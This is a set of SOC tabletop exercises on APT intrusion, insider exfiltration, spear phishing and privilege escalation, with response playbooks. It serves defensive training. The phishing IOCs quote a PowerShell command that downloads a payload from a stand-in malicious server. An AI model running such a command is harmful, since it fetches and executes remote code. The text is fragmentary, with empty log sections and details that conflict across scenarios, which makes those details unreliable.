Exercise For SOC - Analysis and Incident Response Flow
Exercise For SOC - Analysis and Incident Response Flow
SOC:
ANALYSIS AND
INCIDENT
RESPONSE
FLOW
BY IZZMIER IZZUDDIN
SCENARIO: ADVANCED PERSISTENT THREAT (APT) ACTIVITY DETECTED
BACKGROUND
Threat Report: External threat intelligence indicates increased APT activity targeting
financial institutions.
EXERCISE OVERVIEW
LOGS
1. Firewall Logs
2. SIEM Logs
1. Containment:
o Isolate affected systems (192.168.10.15 and 192.168.40.10).
o Block external IPs (203.0.113.25 and 198.51.100.12).
2. Eradication:
o Terminate malicious processes (e.g., "payload.exe").
o Reset credentials for compromised accounts (e.g., "izzmier").
o Patch exploited vulnerabilities.
3. Recovery:
o Restore affected systems from backups.
o Conduct a thorough system and network scan to ensure no persistence
mechanisms remain.
4. Post-Incident:
o Document findings and share with stakeholders.
o Implement multi-factor authentication (MFA) and improved segmentation.
o Update incident response playbooks based on lessons learned.
• Check login history to see if the same IP address (203.0.113.25) has been used
previously by "izzmier" or if it's an anomaly.
• Correlate authentication logs with MFA usage to determine if additional
authentication steps were bypassed.
• Review logs from the authentication server (e.g., Active Directory) for anomalies
like login attempts from unusual geographic locations or devices.
• Conduct a user verification by contacting "izzmier" to confirm if they initiated the
session or if their credentials were stolen.
Scenario: The SOC team receives an alert from the DLP (Data Loss Prevention) system
regarding unusual file transfer activity initiated by an internal employee. The objective is to
investigate whether the activity is malicious and respond accordingly.
BACKGROUND
• Segmented network with specific VLANs for Engineering, HR, Finance and R&D.
• File storage servers located on a restricted R&D VLAN (192.168.50.0/24).
• Employees use managed laptops with EDR solutions.
• Centralised file transfer and collaboration tool (e.g., OneDrive).
EXERCISE OVERVIEW
LOGS
1. Proxy Logs
2. SIEM Logs
3. EDR Logs
• Proxy Logs: Revealed multiple large file transfers to external cloud storage and a
public IP (198.51.100.55).
• EDR Logs: Highlighted the use of "dataexfil_tool.exe" and USB activity, suggesting
attempts to exfiltrate sensitive data.
• SIEM Logs: Showed privilege escalation, further implicating Alice Wong.
• Behavioral Analysis:
o Escalation of privileges to Admin before file access.
o Execution of a known data exfiltration tool.
o Clipboard monitoring detected sensitive text copied.
1. Containment
2. Eradication
3. Recovery
• Restore System State: Revert Alice Wong’s workstation to a clean state from a
known-good backup.
• Review File Server: Check for any modifications or deletions on the file server
(192.168.50.50).
4. Post-Incident Actions
• Conduct Employee Interviews: Question Alice Wong about the incident and
involve HR/legal for further steps.
• Enhance DLP Controls: Improve detection of unauthorised tools and increase
monitoring for large outbound file transfers.
• Security Awareness Training: Educate employees about insider threats and
acceptable use policies.
• Policy Update: Implement stricter controls on privilege escalation and external file
sharing.
2. What steps would you take to confirm whether the data exfiltration was intentional
or accidental?
• Check File Access Logs: Analyse file access logs on the compromised systems to
determine if any sensitive data was accessed or transferred during the
unauthorised actions.
• Inspect Outbound Traffic: Review firewall logs and outbound network traffic for
signs of large file transfers or communication with external IP addresses (especially
those associated with known C2 servers or suspicious domains).
• Analyse DNS Queries: Investigate all DNS requests made during the incident,
especially the suspicious query to external.com, to identify any connections to
external destinations. If there was an attempt to connect to a known malicious
server, it could indicate intentional exfiltration.
• Review Endpoint and Server Activity: Examine logs from endpoint security tools
(EDR) and server-side tools for signs of data transfer, such as file uploads,
compressions or external device connections.
• Interview the Involved Individual: If possible, conduct an interview with
alice.jones to assess whether the actions were intentional or accidental. Her
explanation could provide insight into whether the activity was a result of a
legitimate administrative task or malicious intent.
3. How would you handle the legal and HR aspects of an insider threat investigation?
• Document Everything: Ensure all findings and actions are thoroughly documented,
including system logs, interview records and any other relevant data. This
documentation can serve as evidence if legal action is required.
• Legal Consultation: Involve legal counsel early in the investigation to ensure that
all actions taken are legally sound and compliant with company policies, especially
when dealing with potential data breaches, privileged access misuse or violations
of labor laws.
• Preserve Evidence: Make sure that evidence is properly preserved to avoid any
potential tampering. This includes preserving system logs, captured artifacts and
backup files in case they are required for further investigation or litigation.
• HR Collaboration: Work closely with HR to assess the situation from an
employment perspective. Ensure that the investigation respects the employee's
rights and confidentiality. Depending on the findings, HR may need to manage the
disciplinary process.
• Ensure Fairness and Transparency: Investigate the issue impartially, ensuring that
all involved parties are treated fairly. If the investigation suggests malicious intent,
the disciplinary process should be aligned with company policies and contractual
agreements.
• Least Privilege Access Control: Implement and enforce a strict least privilege
access model, where users only have the minimum level of access required for their
roles. Regularly review and audit access permissions.
• Privileged Access Management (PAM): Deploy PAM solutions to control, monitor
and audit the use of privileged accounts. This can prevent unauthorised privilege
escalation and provide greater visibility into who is accessing critical systems.
• Employee Monitoring and Behavioral Analytics: Implement user and entity
behavior analytics (UEBA) to monitor users’ actions for signs of anomalous behavior
that could indicate malicious intent. Flagging unusual patterns can help detect
insider threats early.
• Data Loss Prevention (DLP) Systems: Use DLP tools to monitor and prevent the
unauthorised movement of sensitive data. Ensure that DLP policies are tailored to
monitor cloud, on-premises and endpoint data access.
• Endpoint Detection and Response (EDR): Implement EDR solutions that detect
suspicious activity on endpoints, such as the use of privilege escalation tools or
remote administrative tools that are not part of normal operations.
• Regular Employee Training: Conduct regular security awareness training for
employees to educate them on the risks of insider threats, how to spot suspicious
activities and the importance of adhering to security policies.
• Background Checks and Continuous Monitoring: Implement background checks
for employees in sensitive positions and continuously monitor their access and
activities as part of an overall insider threat mitigation strategy.
TABLETOP EXERCISE FOR SOC: ADVANCED PERSISTENT THREAT (APT) -
SPEAR PHISHING ATTACK
Scenario: The SOC receives an alert indicating that multiple users within the Finance
department have received a spear-phishing email. The email contains a malicious
attachment, which, when opened, executed a PowerShell script that gained initial access
to the organization's network.
The goal is to investigate the attack, understand its scope and implement the appropriate
response actions.
BACKGROUND
Incident: The Finance department's internal systems are targeted with a spear-phishing
campaign and the attacker uses an Office document with embedded macros to deliver the
initial payload.
EXERCISE OVERVIEW
Logs
1. Email Logs
3. EDR Logs
• Email Logs: The spear-phishing email was sent to both "izzuddin" and "mary.jones"
with a malicious attachment ("Invoice_Q4.docx").
• EDR Logs: Both users executed the malicious PowerShell script from the
document, downloading the payload (payload.ps1).
• SIEM Logs: The PowerShell command (Invoke-WebRequest -Uri) indicates the
script downloaded the malicious payload from an external IP (203.0.113.10), which
is suspicious.
• SIEM Logs: Both "izzuddin" and "mary.jones" made outbound connections to the
external server and downloaded the payload.
• EDR Logs: Lateral movement was detected from "izzuddin" (192.168.20.110) to
"iffah" (192.168.20.115) via SMB, suggesting an attempt to spread the infection.
• Privileged Escalation: Privilege escalation attempts were logged, indicating that
the attacker is trying to elevate their access to gain more control over internal
systems.
• EDR Logs: The payload was executed on both "izzuddin" and "mary.jones"
machines, suggesting that the malware is successfully running on these endpoints.
• SMB Traffic: The malware attempted to use SMB for lateral movement, which is
common for spreading malware inside internal networks.
1. Containment
2. Eradication
• Remove Malware: Run full antivirus scans on the infected machines and remove
the malware (payload.ps1).
• Check for Persistence: Inspect the registry, scheduled tasks and autorun entries
for any persistence mechanisms that the attacker might have left behind.
• Patch Vulnerabilities: Ensure that the systems are patched to close any
vulnerabilities that may have been exploited.
3. Recovery
4. Post-Incident Actions
1. What were the key indicators of compromise (IOCs) that pointed to a spear-phishing
attack?
• Email Headers and Attachments: The incoming email from an external address
([email protected]) with the subject "Invoice for Q4 - Immediate
Payment Required" raised suspicion, especially since it was sent to multiple
finance department employees.
• Attachment Behavior: The attached document, Invoice_Q4.docx, contained
embedded macros. The fact that users opened the attachment and enabled macros
is a common tactic used in spear-phishing attacks to execute malicious code.
• PowerShell Execution: The logs show that both users executed PowerShell
commands (Invoke-WebRequest -Uri http://maliciousserver.com/payload.ps1) to
download a malicious payload, a key indicator of a successful phishing attempt.
• Outbound Network Traffic: The outbound connection to an external IP
(203.0.113.10) for downloading a payload indicates malicious activity, as this IP
should not be associated with legitimate business traffic.
2. How would you confirm whether the attack was initiated by a targeted or random
spear-phishing campaign?
4. How would you handle the forensic investigation of external IP addresses used in
the attack?
5. What role does email filtering and endpoint protection play in preventing such
attacks and how can they be improved?
• Email Filtering:
Email filtering plays a crucial role in identifying and blocking spear-phishing emails
before they reach end users. Filters can analyse:
o Attachments: Blocking or sandboxing potentially dangerous attachments
(e.g., .docx, .xlsm, .exe, etc.).
o Links: Flagging URLs with suspicious or blacklisted domains.
o Heuristic Analysis: Identifying phishing attempts based on email content,
sender reputation and behavior (e.g., spoofing of internal company email
addresses).
o Use advanced filtering tools that analyse email body content for suspicious
patterns.
o Implement DMARC, SPF and DKIM to ensure emails claiming to come from
internal domains are verified.
o Enable automated sandboxing of attachments before delivery to users.
• Endpoint Protection:
Endpoint protection (EDR solutions) detects and prevents malicious activities on
user machines. In this case, EDR could detect the malicious PowerShell script
execution, isolate the infected machine and block communication with the external
server.
Scenario: A security analyst at a company notices unusual behavior from an internal user.
The user is an employee in the Legal department who has access to sensitive internal
documents. The user, however, starts uploading several large files to a personal cloud
storage account, which is outside the company's approved cloud services.
The analyst flags this activity as potentially malicious and escalates the issue for further
investigation.
LOGS
1. Firewall Logs
ANALYSIS
• Unusual User Behavior: The user, izzmier, is part of the Legal department and has
access to sensitive documents, including Legal_Sensitive_Document_01.docx
through Legal_Sensitive_Document_05.docx. However, the user is uploading these
files to an external cloud storage provider, which is not sanctioned by the company.
• File System Activity: The logs show that the user copied multiple sensitive legal
documents from internal systems (e.g., Legal_Sensitive_Document_01.docx) to a
temporary folder (E:\Temp\upload). Subsequently, the files are uploaded to a
personal cloud storage service (cloudservice.com), which is unusual given the
sensitive nature of the documents.
• Network Traffic: The firewall logs show repeated outbound HTTPS traffic from
192.168.100.15 to 203.0.113.45 (cloudstorage.com). This activity is anomalous, as
it involves large file uploads to an external domain.
• Cloud Storage Access Logs: The cloud storage provider’s access logs show the
specific files uploaded by the user at regular intervals, indicating potential
exfiltration over a 20-minute period.
2. Indicators of Compromise (IOCs):
RESPONSE ACTIONS
1. Immediate Containment:
• User Isolation: The first step is to isolate izzmier's account from the network to
prevent further data exfiltration. This can be done by disabling the user’s network
access and email account.
• Cloud Storage Block: Temporarily block the external cloud service
cloudservice.com to prevent further communication and uploads to that domain.
• Endpoint Isolation: Isolate the endpoint machine (user-pc1) that initiated the
uploads to prevent further data exfiltration or lateral movement.
2. Investigation:
• Examine the Files: Perform a forensic examination of the uploaded files to check if
they contain any sensitive or classified data. Analyse the content of these files to
understand the potential impact of the exfiltration.
• Review Historical Access Logs: Check if the user has uploaded other files to the
cloud storage in the past or if this is the first instance of this activity.
• Interview the User: Conduct an interview with the user (izzmier) to determine
whether the actions were intentional, negligent or the result of a compromise (e.g.,
credential theft).
3. Long-Term Mitigation:
The user then proceeds to explore other systems and attempt lateral movement across the
internal network. The situation is flagged for investigation to determine if this is an insider
threat, potential privilege misuse or a compromised account.
LOGS
2. Firewall Logs
3. SIEM Logs
ANALYSIS
• Privilege Escalation: The logs show that alice.jones, an IT department user, initially
logged into Server-DC01 (the domain controller) and was granted local
administrator privileges on the system. This itself is not inherently suspicious, but
the fact that she later logged in as SYSTEM using PsExec is a clear sign of privilege
escalation. PsExec is a legitimate tool, but its use in this context suggests
unauthorised access.
• Lateral Movement Attempts: After gaining SYSTEM access on the domain
controller, alice.jones attempted lateral movement to other critical servers (e.g.,
Server-DB01 and Server-WEB01) using RDP. These connections were unauthorised
and were made from Server-DC01, indicating that the attacker was trying to explore
other network resources.
• Privilege Escalation Tools: The attempt to use privilege escalation tools (e.g.,
Mimikatz) on Server-DB01 is another red flag indicating malicious intent.
• Suspicious DNS Query: The outbound DNS request to external.com is unusual, as
this domain does not appear to be part of the company’s network, which may
suggest an attempt to communicate with an external, potentially malicious, entity.
RESPONSE ACTIONS
1. Immediate Containment:
2. Investigation:
• Root Cause Analysis: Investigate the initial entry point. Was alice.jones's account
compromised or did she exploit a vulnerability to escalate privileges? Conduct an
analysis of her workstation and any tools used (e.g., PsExec, Mimikatz).
• Forensic Analysis: Perform a forensic investigation on Server-DC01, Server-DB01
and Server-WEB01 to check for any signs of data exfiltration or malicious actions.
• Check DNS Logs: Review DNS logs for any other suspicious activity, especially
queries to unknown external domains. Investigate if there was any data exfiltration
to external.com.
• Review Historical Activity: Analyse previous login and access logs to check if
similar suspicious activities occurred in the past.
3. Long-Term Mitigation:
• Enforce Least Privilege: Ensure that privileged accounts are restricted based on
the principle of least privilege. Implement a policy to enforce strict controls over
administrative privileges.
• Monitor Privileged Access: Implement privileged access management (PAM) to
better control, monitor and audit privileged account activity.
• Network Segmentation: Apply stricter network segmentation and limit lateral
movement by restricting RDP and other remote administrative tools to only
necessary personnel.
• DNS Filtering: Implement DNS filtering to block access to malicious or suspicious
domains to prevent data exfiltration and communication with command-and-
control servers.
• Unauthorised Privilege Escalation: The use of tools like PsExec and Mimikatz to
escalate privileges to SYSTEM level is a clear indicator of compromise.
• Lateral Movement: Unauthorised RDP connections to Server-DB01 and Server-
WEB01 suggest malicious intent to explore further systems in the network.
• Suspicious DNS Query: The DNS request to external.com raises concerns about
potential data exfiltration or C2 activity.
2. How can you mitigate the risk of privilege escalation and lateral movement?
• Use Least Privilege: Enforce strict least-privilege access control to ensure users
only have the permissions necessary for their role.
• Monitor Privileged Accounts: Use tools like Privileged Access Management (PAM)
to monitor, log and audit the use of privileged accounts.
• Network Segmentation: Isolate critical servers and apply network segmentation to
limit the spread of an attack if lateral movement occurs.
3. What additional tools or techniques could help detect and prevent this type of
attack?
• Endpoint Detection and Response (EDR): EDR tools can detect unauthorised use
of tools like PsExec and privilege escalation attempts in real time.
• SIEM: Advanced correlation rules in a SIEM can identify abnormal login patterns,
privilege escalation events and lateral movement.
• DNS Security: Using DNS filtering solutions can help prevent communication with
known malicious domains and reduce the risk of C2 traffic.